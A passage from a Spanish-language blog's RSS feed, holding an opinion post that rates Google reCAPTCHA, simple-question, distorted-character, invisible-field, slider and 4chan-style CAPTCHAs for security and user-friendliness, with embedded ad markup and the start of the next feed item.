Captchas&lt;/h3&gt;&#xA;&lt;p&gt;No todo es maravilloso, claro, los captchas suelen reducir la conversión de los usuarios pues introducen fricción, cada click extra o tiempo de espera extra reduce la cantidad de usuarios que siguen tu funnel de conversión.&lt;/p&gt;&#xA;&lt;p&gt;Además hay riesgos altos de falsos positivos, yo mismo lo he experimentado, navegar internet usando Linux enciende las alarmas de todos los sistemas anti-bots y es bastante molesto, aunque generalmente los sistemas anti-bots modernos son muy inteligentes.&lt;/p&gt;&#xA;&lt;p&gt;Cambia la experiencia del sitio web, para sitios web que intentan ofrecer una &amp;ldquo;experiencia&amp;rdquo; al navegar, puede arruinar la inmersión, imagínate que antes de comprar un anillo de super lujo en linea, después de pasar por animaciones sofisticadas y un diseño super limpio tengas que identificar conos de transito en imágenes borrosas, ciertamente no es algo que tus clientes premium van a disfrutar.&lt;/p&gt;&#xA;&lt;h2 id=&#34;google-recaptcha-y-similares&#34;&gt;Google recaptcha y similares&lt;/h2&gt;&#xA;&lt;p&gt;Estoy seguro de que ya conoces este, pues es el captcha más común, y probablemente el más popular que existe. Destacan aquí el de Google y el de Cloudflare.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/recaptcha-open-ai-sam-altman.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/recaptcha-open-ai-sam-altman.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Recaptcha elon musk&#34; width=&#34;402&#34; height=&#34;603&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;El funcionamiento interno de este tipo de captchas es muy complejo y se basa en reconocer patrones en el tráfico de un usuario y probablemente analizarlos contra el gran cantidad de información que han recopilado a lo largo de los años para luego decidir si existe una probabilidad significativa de que un usuario sea un bot.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/recaptcha-style-captcha.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/recaptcha-style-captcha.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Recaptcha style captcha solved&#34; width=&#34;576&#34; height=&#34;170&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Para un hipotético usuario generalmente basta con darle un click al checkbox y listo, pero si no convencimos al algoritmo del captcha, este nos pedirá  &lt;del&gt;que entrenemos a sus modelos de AI completamente gratis&lt;/del&gt; un par de pruebas más en las que tendremos que identificar imágenes.&lt;/p&gt;&#xA;&lt;p&gt;La única desventaja que le veo a este tipo de captcha es que al usarlo estamos alimentando a google con más información de los usuarios de nuestro sitio web. Y puede que no te importe que google recopile más información, si es el caso solo me queda sacar a colación el escandalo de Cambridge Analytica.&lt;/p&gt;&#xA;&lt;h3 id=&#34;son-confiables-los-google-captchas&#34;&gt;Son confiables los google captchas?&lt;/h3&gt;&#xA;&lt;p&gt;Sí, es una excelente solución para limitar las acciones maliciosas de la mayoría de los bots, además tiene una excelente relación seguridad-experiencia de usuario pues resultan mínimamente invasivos en la mayoría de los casos. Considero que los casos mínimos en los que se pide una verificación adicional, como marcar casillas, solo deberían inportunar a unos cuantos usuarios.&lt;/p&gt;&#xA;&lt;p&gt;La única desventaja de este tipo de captchas es que su configuración no es tan trivial como otros métodos, sobre todo si estás trabajando con desarrollos personalizados o usando algún framework.&lt;/p&gt;&#xA;&lt;p&gt;Mi veredicto:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Securidad: 9&lt;/li&gt;&#xA;&lt;li&gt;Amistoso con el usuario: 8 sin el reconocimiento de imagenes y 5 con el reconocimiento de imágenes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;preguntas-basicas-como-captchas&#34;&gt;Preguntas básicas como captchas&lt;/h2&gt;&#xA;&lt;p&gt;Existen opciones de captchas más primitivas, pero no por eso menos efectivas tal como una pregunta simple: &lt;em&gt;¿Cuánto es 7 + 2?&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Para resolverla basta con leerla y colocar el resultado correcto.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/simple-question-captcha.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/simple-question-captcha.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Simple Question captcha example&#34; width=&#34;459&#34; height=&#34;265&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Este tipo de captchas me parecen super prácticos para lidiar con la mayoría de los bots que deambulan ciegamente en internet, y además son mínimamente invasivos para el usuario.&lt;/p&gt;&#xA;&lt;p&gt;Su desventaja, me parece, es su debilidad contra un ataque personalizado, pues bastará con que un humano entre al sitio web, lea la pregunta y adapte el código a su conveniencia.&lt;/p&gt;&#xA;&lt;p&gt;Además considero que, con el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/&#34;&gt;auge de la inteligencia artificial&lt;/a&gt;&#xA; se volverán obsoletos, pues es suficiente pedirle a la AI que lea el label del input y que genere una respuesta adecuada.&lt;/p&gt;&#xA;&lt;p&gt;Mi veredicto:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Securidad: 6&lt;/li&gt;&#xA;&lt;li&gt;Amistoso con el usuario: 8&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;captchas-de-identificacion-de-caracteres&#34;&gt;Captchas de identificación de caracteres&lt;/h2&gt;&#xA;&lt;p&gt;Otra alternativa popular a las preguntas sencillas es utilizar una imagen con números y letras y pedirle al usuario que los identifique y coloque en el campo adecuado, estas letras vienen distorsionadas de alguna forma para volverlas irreconocibles a los bots.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/letters-and-numbers-captcha.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/letters-and-numbers-captcha.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;letters and number captcha&#34; width=&#34;193&#34; height=&#34;61&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Este tipo de captcha suelen ser bastante invasivos para los usuarios y pecan de arruinar la experiencia web. Por si fuera poco, no los considero particularmente útiles para lidiar con los bots, incluso hay tutoriales sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://medium.com/lemontech-engineering/breaking-captchas-from-scracth-almost-753895fade8a&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;como resolver estos captchas de manera casi automática&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Si no quieres leer el artículo completo te lo resumo, básicamente consiste en tratar la imagen con software de edición de imágenes para resaltar los caracteres y posteriormente utilizar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/ocr-con-tesseract-python-y-pytesseract/&#34;&gt;un OCR, como tesseract en combinación con alguno de sus bindings, como pytesseract&lt;/a&gt;&#xA;, para &lt;em&gt;leerlos&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;También toma en cuanto que muchos de estos captchas modernos consideran también el como llenas el input de texto, es decir, esperan que lo llenes como un humano, llevando el mouse hacia ellos y escribiendo letra por letra a intervalos regulares.&lt;/p&gt;&#xA;&lt;p&gt;Mi veredicto:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Securidad: 7&lt;/li&gt;&#xA;&lt;li&gt;Amistoso con el usuario: 6&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;captchas-de-campos-invisibles&#34;&gt;Captchas de campos invisibles&lt;/h2&gt;&#xA;&lt;p&gt;Este tipo de captchas se basa en el CSS para crear inputs invisibles al usuario, &lt;strong&gt;que un bot sí detectará&lt;/strong&gt; e intentará llenar, por lo que luego podrán ser leídos por el servidor y descartados.&lt;/p&gt;&#xA;&lt;p&gt;Este tipo de captchas me parecen perfectos para el usuario, pues son completamente invisibles a este, sin embargo sufren de ataques personalizados donde un humano detecta la estrategia y simplemente modifica el bot para que no llene esos campos ahora visibles.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;form&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;method&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;post&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- Hide this with css instead --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;input&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;style&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;display:none;&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- real field --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;input&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;real_email&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;input&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;submit&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;form&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Mi veredicto:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Securidad: 7&lt;/li&gt;&#xA;&lt;li&gt;Amistoso con el usuario: 9&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;captchas-de-arrastre-o-slider&#34;&gt;Captchas de arrastre o slider&lt;/h2&gt;&#xA;&lt;p&gt;He visto este tipo de captchas en Tik Tok principalmente, pero generalmente no los encuentras tan fácilmente.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/slider-captcha-example.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/slider-captcha-example.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Slider captcha&#34; width=&#34;616&#34; height=&#34;300&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Yo considero los captchas de arrastre como unos de las opciones más balanceadas que existen, son rápidos de resolver y bastante seguros, aunque dudo que sean totalmente seguros contra todos los bots, principalmente contra aquellos que tratan de simular los movimientos de mouse de los usuarios.&lt;/p&gt;&#xA;&lt;p&gt;Nunca he roto uno de estos captchas, pero me imagino que usando un tratamiento de imagen como en el ejemplo pasado y alguna herramienta de emulación de movimientos de mouse, no debería de ser imposible. Lo que me lleva al último tipo de captcha.&lt;/p&gt;&#xA;&lt;p&gt;Mi veredicto:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Securidad: 8&lt;/li&gt;&#xA;&lt;li&gt;Amistoso con el usuario: 8&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;captchas-seguros-y-casi-imposibles-de-resolver&#34;&gt;Captchas seguros y casi imposibles de resolver&lt;/h2&gt;&#xA;&lt;p&gt;Este es probablemente el captcha más seguro, y también el más invasivo que he visto. Se encuentra en el image board angloparlante más popular a la fecha y no lo he visto en ningún otro sitio.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/4chan-captcha.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/4chan-captcha.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Gif del captcha impossible de 4chan&#34; width=&#34;494&#34; height=&#34;186&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Quiero que notes lo sofisticado que es este captcha. Es una simple caja donde muestra unos garabatos a blanco y negro, completamente ilegibles y en el fondo una imagen que, al deslizar el slider, se superpone con la imagen del fondo, revelando el captcha ante tus ojos.&lt;/p&gt;&#xA;&lt;p&gt;Este gradiente que se forma entre los captchas &amp;ldquo;falsos&amp;rdquo; y el &amp;ldquo;verdadero&amp;rdquo; confunde a cualquier software de reconocimiento de caracteres, volviéndolo completamente inservible.&lt;/p&gt;&#xA;&lt;p&gt;Aunado a lo anterior, este captcha requiere interactividad por parte del usuario, pues requiere que se deslice el slider con cuidado, lo que descarta a todos aquellos headless bots.&lt;/p&gt;&#xA;&lt;p&gt;En contraparte, tiene la desventaja de ser invasivo para el usuario, interrumpiendo la experiencia al navegar. Además, yo me atrevería a afirmar que este captcha también da muchos falsos positivos; yo mismo soy incapaz de leer con precisión los caracteres que ahí aparecen y no soy un bot ¿o sí?&lt;/p&gt;&#xA;&lt;p&gt;Mi veredicto:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Securidad: 10&lt;/li&gt;&#xA;&lt;li&gt;Amistoso con el usuario: 2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;En defensa de este captcha, diré que es un mal necesario en un sitio web donde no es necesario registrarse para publicar, hogar del que fue (o es) uno de los más famosos grupos de hackers: Anonymous y en donde se distribuyó (o distribuye) material ilegal con el potencial de hacerte dudar si la humanidad merece compartir este planeta con el resto de animales.&lt;/p&gt;&#xA;&lt;p&gt;Definitivamente no recomiendo este tipo de captcha a menos de que tengas un sitio web con características similares, y si lo eres, mis más profundas condolencias.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Este es mi análisis de algunas de las opciones más populares de captchas que existen y mi opinión como usuario sobre sus ventajas y desvantajas y su nivel de seguridad. Este análisis incluye google recaptcha, captchas de deslizamiento, preguntas sencillas, reconocimiento de caracteres y el captcha más resistente a bots que conozco.&lt;/p&gt;&#xA;&lt;h2 id=&#34;pros-y-contras-de-usar-captchas&#34;&gt;Pros y contras de usar Captchas&lt;/h2&gt;&#xA;&lt;p&gt;Si estás leyendo esto es porque probablemente tu sitio web se llena de bots, o te preocupa que suceda, y temes el efecto que pueda tener el poner captchas en tu sitio web.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Mis errores de optimización en el SEO técnico al migrar de Wordpress</title>
      <link>https://coffeebytes.dev/es/seo/mis-errores-de-optimizacion-en-el-seo-tecnico-al-migrar-de-wordpress/</link>
      <pubDate>Sat, 27 Apr 2024 19:49:56 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/seo/mis-errores-de-optimizacion-en-el-seo-tecnico-al-migrar-de-wordpress/</guid>
      
      <category>SEO</category>
      
      <category>opinion</category>
      
      
      
      
      
